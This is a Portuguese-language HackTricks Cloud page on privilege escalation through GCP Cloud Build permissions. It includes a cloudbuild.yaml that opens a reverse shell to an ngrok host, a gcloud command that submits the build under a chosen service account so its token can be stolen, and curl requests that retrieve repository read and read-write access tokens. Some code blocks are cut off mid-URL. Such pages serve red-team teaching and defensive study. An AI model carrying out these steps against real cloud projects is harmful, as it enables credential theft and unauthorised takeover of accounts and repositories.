GCP - Cloudbuild Privesc
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
cloudbuild
Para mais informações sobre Cloud Build, consulte:
cloudbuild.builds.create, iam.serviceAccounts.actAs
Com essa permissão você pode submit a cloud build. A máquina do cloudbuild terá em seu filesystem por default um token do cloudbuild Service Account: <PROJECT_NUMBER>@cloudbuild.gserviceaccount.com. Entretanto, você pode indicar qualquer service account dentro do projeto na configuração do cloudbuild.
Portanto, você pode simplesmente fazer com que a máquina exfiltrate para o seu servidor o token ou get a reverse shell inside of it and get yourself the token (o arquivo contendo o token pode mudar).
Direct exploitation via gcloud CLI
1- Crie cloudbuild.yaml e modifique com os dados do seu listener
Cloud Build YAML configuration for reverse shell
```yaml steps: - name: bash script: | #!/usr/bin/env bash bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1 options: logging: CLOUD_LOGGING_ONLY ```2- Faça upload de um build simples sem código-fonte, apenas o arquivo yaml e especifique a SA a ser usada no build:
Enviar Cloud Build com a conta de serviço especificada
```bash gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects/Usando python gcloud library
Você pode encontrar o exploit script original here on GitHub (mas a localização de onde ele pega o token não funcionou para mim). Portanto, consulte um script para automatizar a creation, exploit and cleaning of a vuln environment here e um python script para obter um reverse shell dentro da máquina cloudbuild e steal it here (no código você pode encontrar como especificar outras service accounts).
Para uma explicação mais detalhada, visite https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/
cloudbuild.repositories.accessReadToken
Com essa permissão o usuário pode obter o read access token usado para acessar o repositório:
Obter o read access token do repositório
```bash curl -X POST \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \ -H "Content-Type: application/json" \ -d '{}' \ "https://cloudbuild.googleapis.com/v2/projects/cloudbuild.repositories.accessReadWriteToken
Com esta permissão o usuário pode obter o token de acesso de leitura e gravação usado para acessar o repositório:
Obter token de acesso de leitura e gravação para o repositório
```bash curl -X POST \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \ -H "Content-Type: application/json" \ -d '{}' \ "https://cloudbuild.googleapis.com/v2/projects/cloudbuild.connections.fetchLinkableRepositories
Com esta permissão você pode obter os repositórios aos quais a conexão tem acesso:
Buscar repositórios vinculáveis
```bash curl -X GET \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \ "https://cloudbuild.googleapis.com/v2/projects/Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
HackTricks Cloud

